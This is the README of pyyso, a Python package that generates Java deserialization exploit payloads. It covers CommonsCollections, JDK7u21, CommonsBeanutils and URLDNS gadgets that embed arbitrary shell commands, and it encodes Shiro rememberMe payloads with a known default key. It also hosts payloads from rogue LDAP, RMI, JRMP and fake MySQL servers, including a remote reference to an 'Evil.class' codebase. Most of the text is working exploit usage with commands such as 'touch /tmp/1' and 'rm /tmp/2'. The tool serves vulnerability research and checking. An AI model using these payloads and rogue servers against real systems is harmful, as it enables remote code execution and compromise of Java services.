pyyso is a Python package that provides fast and flexible ways to generate java serialized poc. It aims to be the fundamental high-level building block for doing vulnerability check and research in Python. Additionally, it has a goal of becoming the most convenient and reliable toolkit implemented in Python for Java researchers

Here are just a few of the things that pyyso does well:

• Easy generating of java serialized poc
• Powerful, flexible functionality to start a LDAP/RMI/JRMP/MySQL server to host java serialized pocs
• Communicating and collaborating with other Python packages
• Won't be exploited back in RMI like java client

pyyso has implemented

• URLDNS Gadget
• CommonsCollections1-7 Gadgets
• JDK7u21 Gadget
• JDK8u21 Gadget
• CommonsBeanutils1 1.8.3 no cc
• CommonsBeanutils1 1.9.2
• shiro-550 rememberMe deserialized
• java class embed with command
• LDAP server hosting java serialized pocs
• LDAP server hosting java remote reference factory
• RMI server
• high JDK version beanfactory bypass
• JRMP server
• JRMPClient Gadget
• Fake MySQL server for JDBC deserialize

The source code is currently host on GitHub at: https://github.com/cokeBeer/pyyso

pip install pyyso

First import pyyso

import pyyso

To generate a java serialized zed poc use:

pyyso.urldns("https://x.dnslog.com") #return java serialzed data of URLDNS in bytes
pyyso.cc1("touch /tmp/1") #return java serialzed data of CommonsColletions1 in bytes
pyyso.cc2("touch /tmp/1") #return java serialzed data of CommonsColletions2 in bytes
pyyso.jdk7u21("touch /tmp/1") #return java serialzed data of JDK7u21 in bytes
pyyso.jdk8u20("touch /tmp/1") #return java serialzed data of JDK8u20 in bytes
pyyso.jrmpclient("127.0.0.1",80) #return java serialzed data of jrmpclient in bytes
pyyso.cb1v183("touch /tmp/1") #return java serialzed data of CommonsBeanutils1 1.8.3 no cc in bytes

To generate a java class embed with command use:

pyyso.clazz("touch /tmp/1") #return java class embed with command in bytes

To encode a shiro poc use:

serobj=pyyso.cb1v183("touch /tmp/1")
pyyso.shiroEncode(serobj=serobj,key=b'kPH+bIxk5D2deZiIxcaaaA==')

To start a LDAP server hosting java serialized pocs:

serobj=pyyso.cc1("touch /tmp/1")
server=pyyso.LdapSerialized(serobj=serobj, ip="0.0.0.0", port=1389)
server.run()

This will start a LDAP server listening 0.0.0.0:1389 You can change the hosted java serialized data by:

server.serobj=pyyso.cc1("rm /tmp/2")

To start a LDAP server hosting java remote reference factory:

server=pyyso.LdapRemoteRef(javaCodeBase="http://127.0.0.1:8088/", javaFactory="Evil", javaClassName="java.lang.String", ip="0.0.0.0", port=1389):
server.run()

This will start a LDAP server listening 0.0.0.0:1389 and will return a remote reference point to http://127.0.0.1:8088/Evil.class

To start a JRMPListener

serobj=pyyso.cc1("open /tmp",jrmp=True) #note that there is 'jrmp=True'!
server=pyyso.JRMPListener(serobj=,ip="0.0.0.0", port=5151)
server.run()

This will start a JRMPListener listening 0.0.0.0:5151

By deserializing a jrmpclient Gadget in victim's server, the victim's server will connect back to JRMPListener.

the jrmpclient Gadget should be made by:

serobj=pyyso.jrmpclient(hostname="127.0.0.1", port=5151)

which the hostname is corresponding to where JRMPListener is hosting on

To get a bypass poc, use:

serobj=pyyso.beanfactory("open /tmp", rmi=True)

To start a RMI server and host bypass poc, use:

serobj=pyyso.beanfactory("open /",rmi=True) ##note that there is 'rmi=True'!
server=pyyso.RMIServer(serobj=serobj,ip="0.0.0.0", port=1099, refip="0.0.0.0", refport=42155)
server.run()

a registry will listen 0.0.0.0:1099 and a poc provider server will listen 0.0.0.0:42155

to start a MySQL server hosts JDBC deserialize payload, use:

serobj=pyyso.cc2("open /")
server=pyyso.MysqlServer(serobj=serobj, ip="0.0.0.0", port=3306)
server.run()

a fake MySQL server will listen 0.0.0.0:3306, and wait for SHOW STATUS

For some reasons, part Gadgets support JRMP or RMI now，which can be enabled by rmi=True or jrmp=True

MIT

https://github.com/frohoff/ysoserial
https://github.com/mbechler/marshalsec